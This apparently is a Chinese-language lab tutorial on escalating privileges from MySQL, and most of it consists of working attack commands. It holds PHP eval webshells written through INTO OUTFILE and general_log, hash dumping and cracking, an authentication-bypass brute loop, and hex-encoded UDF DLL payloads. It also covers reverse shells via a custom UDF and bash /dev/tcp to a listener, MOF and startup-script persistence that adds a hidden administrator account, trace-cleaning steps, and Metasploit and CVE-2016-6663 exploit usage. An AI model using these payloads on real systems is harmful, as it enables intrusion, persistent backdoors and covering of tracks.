权限获取

数据库操作权限

提权之前得先拿到高权限的 MySQL 用户才可以，拿到 MySQL 的用户名和密码的方式多种多样，但是不外乎就下面几种方法：

  1. MySQL 3306 端口弱口令爆破
  2. sqlmap 注入的 --sql-shell 模式
  3. 网站的数据库配置文件中拿到明文密码信息
  4. CVE-2012-2122 等这类漏洞直接拿下 MySQL 权限

WebShell权限

into oufile写shell

写入条件：

  • 知道网站物理路径
  • 高权限数据库用户
  • load_file() 开启 即 secure_file_priv 无限制
  • 网站路径有写入权限

首先基础语法查询是否 secure_file_priv 没有限制

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show global variables like '%secure_file_priv%';
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MariaDB [mysql]> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.00 sec)
Value 说明
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
空 不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空，这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure_file_priv 默认是 NULL，这个情况下不可以写文件

查看MySQL版本

方法一：登录时回显信息

方法二：select version();

方法三：select @@version;

方法四：mysql -V

sqlmap写shell

sqlmap更多写shell方法参考

windows下

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python .\sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --file-write='shellpass.php' --file-dest="D:\\phpstudy_pro\\WWW\\testshell\\shellpass.php"

image-20211010220451833

linux下

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python .\sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --file-write='shellpass.php' --file-dest="/var/www/html/test/shell.php"

原生的 SQL 语句来直接写 shell：

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select '<?php @eval($_POST[pass]); ?>' into outfile 'D:\\phpstudy_pro\\WWW\\testshell\\shellpass.php';

image-20211010201758722

一般情况下 Linux 系统下面权限分配比较严格，MySQL 用户一般情况下是无法直接往站点根目录写入文件的，这种情况下在 Windows 环境下成功率会很高。

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select '<?php @eval($_POST[pass]); ?>' into outfile '/var/www/html/shellpass.php';

日志文件写shell

  • Web 文件夹宽松权限可以写入
  • Windows 系统下
  • 高权限运行 MySQL 或者 Apache

MySQL 5.0 版本以上会创建日志文件，可以通过修改日志的全局变量来 getshell

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SHOW VARIABLES LIKE 'general%';
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mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------------------------------------------+
| Variable_name    | Value                                                           |
+------------------+-----------------------------------------------------------------+
| general_log      | OFF                                                             |
| general_log_file | D:\phpstudy_pro\Extensions\MySQL5.5.29\data\xxxx.log |
+------------------+-----------------------------------------------------------------+
MariaDB [(none)]> SHOW VARIABLES LIKE 'general%';
+------------------+---------------+
| Variable_name    | Value         |
+------------------+---------------+
| general_log      | OFF           |
| general_log_file | localhost.log |
+------------------+---------------+
2 rows in set (0.00 sec)

general_log 默认关闭，开启它可以记录用户输入的每条命令，会把其保存在对应的日志文件中。

可以尝试自定义日志文件，并向日志文件里面写入内容的话，那么就可以成功 getshell：

更改日志文件位置

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set global general_log = "ON";
set global general_log_file='D:\\phpstudy_pro\\WWW\\testshell\\shellpass.php';

image-20211010224712241

往日志里面写入 payload

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select '<?php @eval($_POST[pass])?>';

image-20211010225346136

image-20211010225332031

Hash 获取与解密

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# MySQL <= 5.6 版本
mysql> select host, user, password from mysql.user;
+-----------+------+-------------------------------------------+
| host      | user | password                                  |
+-----------+------+-------------------------------------------+
| localhost | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| 127.0.0.1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| ::1       | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| localhost |      |                                           |
+-----------+------+-------------------------------------------+
# MySQL >= 5.7 版本
mysql > select host,user,authentication_string from mysql.user;
+-----------+---------------+-------------------------------------------+
| host      | user          | authentication_string                     |
+-----------+---------------+-------------------------------------------+
| localhost | root          | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-----------+---------------+-------------------------------------------+

image-20211010225704301

使用hashcat

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.\hashcat.exe -a 0 -m 300 --force '81F5E21E35407D884A6CD4A731AEBFB6AF209E1B' 'E:\fuzz\test_bp\test_password.txt' --show

image-20211011095647446

MySQL漏洞

yaSSL 缓冲区溢出

MySQL yaSSL SSL Hello Message Buffer Overflow 缓冲区溢出漏洞 MSF 对应的模块：

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msf6 > use exploit/windows/mysql/mysql_yassl_hello
msf6 > use exploit/linux/mysql/mysql_yassl_hello

Linux : MySQL 5.0.45-Debian_1ubuntu3.1-log

Windows : MySQL 5.0.45-community-nt

CVE-2012-2122

只要知道用户名，不断尝试就能够直接登入SQL数据库。

当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。按照公告说法大约256次就能够蒙对一次。

影响范围：

All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

msf_payload

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use auxiliary/scanner/mysql/mysql_authbypass_hashdump

image-20211011111218374

linux_shell

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for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.201.1 -P3306 ; done

UDF提权

自定义函数，是数据库功能的一种扩展。用户通􏰁自定义函数可以实现在 MySQL 中无法方便实现的功能，其添加的新函数都可以在SQL语句中调用，就像调用本机函数 version() 等方便。

手工复现

如果是 MySQL >= 5.1 的版本，必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

那么动态链接库文件去哪里找呢？实际上我们常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。

动态链接库

sqlmap 的 UDF 动态链接库文件位置：sqlmap根目录/data/udf/mysql

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PS E:\web\sqlmap\data\udf\mysql> tree
E:.
├─linux
│  ├─32
│  └─64
└─windows
    ├─32
    └─64

不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过，不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用，cloak.py 的位置为：/extra/cloak/cloak.py ，解码方法如下：

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# 查看当前目录情况
➜ pwd
E:\web\sqlmap\extra\cloak

# 解码 64 位的 Windows 动态链接库
➜ python .\cloak.py -d -i 'E:\web\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_' -o lib_mysqludf_sys_64.dll

# 解码 32 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so

# 解码 64 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so

# 解码 32 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

# 查看当前目录下的情况
➜ ls
README.txt              cloak.py                lib_mysqludf_sys_32.so  lib_mysqludf_sys_64.so
__init__.py             lib_mysqludf_sys_32.dll lib_mysqludf_sys_64.dll

Metasploit 的 UDF 动态链接库文件位置

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/usr/share/metasploit-framework/data/exploits/mysql

image-20211020100147961

sqlmap 解码后的动态链接库

寻找目录插件

把 UDF 的动态链接库文件放到 MySQL 的插件目录下，使用SQL语句查询

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show variables like '%plugin%';

image-20211020100622882

如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹：

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mysql > select 233 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';

通过 NTFS ADS流创建文件夹成功率不高，目前 MySQL 官方貌似已经阉割了这个功能。那么如果找到 MySQL 的安装目录呢？通用也有对应的 SQL 语句可以查询出来：

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mysql> select @@basedir;
+------------------+
| @@basedir        |
+------------------+
| /usr/local/mysql |
+------------------+

写入动态链接库

写入动态链接库可以分为下面几种情形：

  • SQL 注入且是高权限
  • plugin 目录可写且需要 secure_file_priv 无限制
  • MySQL 插件目录可以被 MySQL 用户写入

这个时候就可以直接使用 sqlmap 来上传动态链接库，又因为 GET 有字节长度限制，所以往往 POST 注入才可以执行这种攻击

存在sql注入使用sqlmap

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sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"

sqlmap_udf_mysql.zip

没有注入点

操作原生 SQL 语句，这种情况下当 secure_file_priv 无限制的时候，我们也是可以手工写文件到 plugin 目录下的：

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# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

# 解码十六进制再写入多此一举
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

获取十六进制的方法

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# 直接传入路径编码
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));

# 也可以将路径 hex 编码
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));

一般为了更方便观察，可以将编码后的结果导入到新的文件中方便观察：

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SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt'; 

SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt';

lib_mysqludf_sys_32.dll

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SELECT 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000004d477bd0092615830926158309261583005e86830b261583005e808308261583005e968307261583005e91830b2615832ee06e830a2615830926148325261583005e9c8308261583005e878308261583005e8483082615835269636809261583000000000000000000000000000000000000000000000000504500004c0103004afe9f5a0000000000000000e00002210b010900001000000010000000600000607c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007c83000008020000b4820000c800000000800000b402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d090208b92bcf11b11ceea24f550000560c000000220000260000a8ffffffff8b4c240833c03901741656578b7c24146a0c59be000010dcf3a566a55fb0015e5dfb77fbc38b44240c1a6a071611108bf8183218ff63db6f1ca45fc7011e1200210883380175128b40040df6776f0700750a1004c6000132c0c3530abf1df68d3c3053a454082d08ff30ff15fff6ee776c885985c075085614c601011bc8568d71018a11fd6fdffe4184d275f98b54142bce890a32558bec8b4d0c833902b7d860bf5374148b7d10915c5453eb4cbf9dbddf8b417d740f1b707c1bebe5836004dbb1ffb7001a0c8b48048b008d4401025072a0594c08dfc8d7b5891678113006a44ceb6c57beb7b2b85f5e5da30421740833dbb63ff6a8591353568b742410d878534602db85db5bb6460851c78d5c4257e8240b75eeeebfe01400c604070008ff70041e0553b1db1b921a22c418535720030054090f09b7086a995b0f98599954cf2d343713b8f4540b1edeb60d818403552251519d35dffed6fedf576800f762d66a018945fc068bf08b4560dd7ff70cc606004533ff595939387471683cc071c6fedfda9c12260c3bc7745b506a04ff75fc149073e1edd7a9fd48533afc8d48911040b963dbff2bc18bd88d043b505630f8268c5330d8ad8dbd5f03fe570e940de57df8463fe6364c2066ba5b1810a4803e0059169eb0ff741a8bc6c64437ff00594d1489c906987bebd86f183e5f205ec9c3eed7b235dcbaf37d574708c45030087bdbdacdc9c26a4078c710548d4601b9e07e614251724f0856ff31cf6bafdd9db694c66aff8dc32082f63a58b0b6030d092c23005f7cc36e57036c6a081d1290ac0aa88365fc2f6c2f2c2d4592d0eb071b408f65e8c70bbfd66e42feff000d1fedc25e3bffdb17b60d08209a02f3c3e90806f58bff56688000002d8c6d675880985608845aa3bde0febb062358045485f675054daa83260076fbb7db4508c36f08ed09acc704240607ff0b4c113637598d71ffcf9c0bbf77dfc9750e39056b107e3cff7310830b01fbeec6bb8b0910548b098f57890a23480f85d47d618cbbad641718068b79040838071b76edeebb1e50eb184aa705b8e61768b0b030d8e803a83c0957c1d6bbaeb5d6a1e7e9e2573ca12f4c6a6ff777c3025efd096a1fee76eb3caa10c80475ed7befc0c7051f281a70e027071bdff79d5cb520bc04b81b6a5635b952eb782b7339b2e3696ff7defd7340393d155c741c68062809ac43db6b85850d9e1034252316ffe666f862f154b201dc0801592cc2b1a1db78049ddfdbf62413d90fd4fc83f80266b16f6cb0d2595bffa0584b77783bb5783106350f8487c71996ee4cd3543bf81810897d82efc796be35fac87251833f8af36a7c398587b4f10774e9ffc8d60f7c89c5db9bb5d955f85615441b474ded5be38ef88a394d1003d00874b48909437aa36d020c1ad3f8eba71c3162cc5a64442e386161fb0a58064c32fc19503f1bdf720443375bc9c20cc710fb02231fb2288b2ef28b5d081cae0fdb9b54e433c95cfc7d2008016c2dc6c23bf15a393a4417e4d61bfe7fafae3bf0740583fe02752e1910d03bc1e7166eb8ed57565fd03b5ee40003937b703b67115a039614168012376c7d270a8227fea0246420575062b30d661327002f527f8df61ad2061153f76a037543b067bb614f34032168742e2c0d2c3cec257feb1b71ec5a09706a7c6faae05051597c64825d900eadf62ffa8a19066b8f91b6c72ae490c396ec1640e134a9ff3b246abb41c1f17926547dbc550c0d381e33bc05bc595d382281ec2832f7869f365f212043211c895e2118891d05f78ec243143c21a2aa210c668c186c5ffbda3806252c0620080605dd2dcdd20425002d7ffc9c8f7ab6b1f6143095562407042831d6fedb7f0807348b85e0fca0aa701ddbb5b395011c1920241318092b18476a565f201cb360c32c9f7b8985d8320a04dc03b557e01b243468dedfd1f7d8d360ce2879d40a2c833d208dbdc3da00f923685b1b300bdfaf67f534c97f23401ec25f6a4849918f144a50152e9df458aaf8a29c10f3eb67611c7e052c37d4598feded8321b9273551e0f5ee3bdc0a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INTO DUMPFILE 'E:\\phpStudy\\MySQL\\lib\\plugin\\udf32.dll';

lib_mysqludf_sys_64.dll

1
2

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INTO DUMPFILE 'E:\\phpStudy\\MySQL\\lib\\plugin\\udf64.dll';

lib_mysqludf_sys_32.so

1
SELECT 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INTO DUMPFILE '/usr/lib/mysql/plugin/udf32.so';

lib_mysqludf_sys_64.so

1
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INTO DUMPFILE '/usr/lib/mysql/plugin/udf64.so';

创建自定义函数并调用命令

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CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

可能会出现下面的报错：

image-20211020111041041 
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ERROR 1126 (HY000): Can't open shared library 'udf1.dll' (errno: 193 )

因为 lib_mysqludf_sys_64.dll 失败，最后使用 lib_mysqludf_sys_32.dll 才成功，所以这里的 dll 应该和系统位数无关，可能和 MySQL 的安装版本有关系，而 PHPStudy 自带的 MySQL 版本是 32 位的

image-20211020111552648

导入成功后查看一下 mysql 函数里面是否新增了 sys_eval：

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select * from mysql.func;

image-20211020112417755

这里的 sys_eval 支持自定义，接着就可以通过创建的这个函数来执行系统命令了：

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select sys_eval('whoami');

如果在 Windows 系统下的话应该就是最高权限了，执行一些 net user 增加用户的命令应该都是可以成功的

删除自定义函数

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mysql > drop function sys_eval;

UDF.PHP

image-20211020114906003

navicat安装目录下自带tunnel 隧道脚本

image-20211020115213273

image-20211020124709803

使用php脚本建立http连接

image-20211028104034319

image-20211020125405937

反弹shell提权

https://test-pic-test.oss-cn-guangzhou.aliyuncs.com/document/langouster_udf.zip

使用SQL语句执行cmd创建功能函数

image-20211028134405581

注意创建的函数要是下面列表中存在的

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cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 说明与帮助函数;

image-20211028135012856

创建反弹shell的函数

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CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';

image-20211028140540898

反弹shell

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select backshell("192.168.201.144", 2333)

image-20211028140623641

消除乱码

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chcp 65001

MOF提权

MOF 提权是一个有历史的漏洞，基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间（几秒钟左右）都会被系统执行，因为这个 MOF 里面有一部分是 VBS 脚本，所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令，如果 MySQL 有权限操作 mof 目录的话，就可以来执行任意命令了。

在winser2003部署mysql

确定服务器32位

image-20211028145310492

  1. 系统类型为X86-based PC就是32位
  2. 系统类型为X64-based PC就是64位

下载mysql

image-20211028145441831

手动复现

上传 mof 文件执行命令

mof 脚本的内容如下：

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#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

核心payload为：

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var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")

MySQL 写文件的特性将这个 MOF 文件导入到 C:/Windows/system32/wbem/mof/ 目录下，依然采用上述编码的方式：

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select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test.mof";

执行成功的的时候，test.mof 会出现在：C:\WINDOWS\system32\wbem\mof\good 目录下 否则出现在 C:\WINDOWS\system32\wbem\mof\bad 目录下：

image-20211028151547142

核心payload中的账号已经生成

image-20211028151834628

痕迹清理

因为每隔几分钟时间又会重新执行添加用户的命令，所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件，这个时候再删除用户才会有效果：

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# 停止 winmgmt 服务
net stop winmgmt

# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\

# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S

# 删除创建的用户
net user hacker /delete

# 重新启动服务
net start winmgmt

MSF MOF 提权

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msf6 > use exploit/windows/mysql/mysql_mof
# 设置好自己的 payload
msf6 > set payload windows/meterpreter/reverse_tcp
# 设置目标 MySQL 的基础信息
msf6 > set rhosts 192.168.201.159
msf6 > set username root
msf6 > set password root
msf6 > run

image-20211028153208039

启动项提权

手工复现

启动项路径

Windows Server 2003 的启动项路径：

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# 中文系统
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
C:\Documents and Settings\All Users\「开始」菜单\程序\启动

# 英文系统
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup

# 开关机项 需要自己建立对应文件夹
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Startup
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Shutdown

Windows Server 2008 的启动项路径：

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C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

既然知道路径的话就往启动项路径里面写入脚本吧，脚本支持 vbs 和 exe 类型，可以利用 vbs 执行一些 CMD 命令，也可以使用 exe 上线 MSF 或者 CS 这方面还是比较灵活的。下面是一个执行基础命令的 VB 脚本：

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Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "net user hacker P@ssw0rd /add", 0
WshShell.Run "net localgroup administrators hacker /add", 0

Mysql写入启动项

将上述 vbs 或者 CS 的马转十六进制直接写如到系统启动项中：

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select 0x536574205773685368656C6C3D575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C22290A5773685368656C6C2E52756E20226E65742075736572206861636B6572205040737377307264202F616464222C20300A5773685368656C6C2E52756E20226E6574206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F616464222C20300A into dumpfile "C:\\Documents and Settings\Administrator\\「开始」菜单\\程序\\启动\\test.vbs";

写入成功的时候就等待系统用户重新登录，登录成功的话，我们的自定义脚本也就会被执行。

MSF 启动项提权

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msf6 > use exploit/windows/mysql/mysql_start_up

# 配置 MySQL 连接信息
msf6 > set rhosts 192.168.201.159
msf6 > set username root
msf6 > set password root
msf6 > run

image-20211028163924059

写不进去，下次再看

CVE-2016-6663

环境部署

部署国光师傅打包的一个 Docker 镜像(用户名为root密码为空)

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# 拉取镜像
docker pull sqlsec/cve-2016-6663
# 部署镜像
docker run -d -p 3306:3306 -p 8080:80 --name CVE-2016-6663 sqlsec/cve-2016-6663

添加一个 test 数据库用户，密码为 123456 并赋予一些基础权限：

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# 创建 test 数据库
mysql > create database test;

# 设置 test 密码为 123456
mysql > CREATE USER 'test'@'%' IDENTIFIED BY '123456'; 

# 赋予基础权限
mysql > grant create,drop,insert,select on test.* to 'test'@'%';

# 刷新权限
mysql > flush privileges;

漏洞复现

竞争条件提权漏洞，一个拥有 CREATE/INSERT/SELECT 低权限的账户提权成功后可以系统用户身份执行任意代码，提权的用户为 mysql 用户，概括一下就是将低权限的 www-data 权限提升为 mysql 权限

利用成功条件

  1. Getshell 拿到 www-data 权限
  2. 拿到 CREATE/INSERT/SELECT 低权限的 MySQL 账户
  3. 关键提取步骤需要在交互环境下，所以需要反弹 shell
  4. MySQL 版本需要 <=5.5.51 或 5.6.x <=5.6.32 或 5.7.x <=5.7.14 或 8.x < 8.0.1
  5. MariaDB 版本需要 <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17

CVE-2016-6663 EXP mysql-privesc-race.c 参考链接：MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit

shell国光师傅已经给出来了

image-20211028180554314

通过蚁剑上传 EXP，然后 Bash 反弹 shell：

首先 192.168.201.144 端口开启监听：

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ncat -lvp 2333

在蚁剑终端，反弹shell

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bash -i >& /dev/tcp/192.168.201.144/2333 0>&1

编译exp

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gcc mysql-privesc-race.c -o mysql-privesc-race -I /usr/include/mysql -lmysqlclient

执行exp提权

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# ./mysql-privesc-race 数据库用户名 密码 数据库地址 数据库
./mysql-privesc-race test 123456 localhost test

image-20211028185918252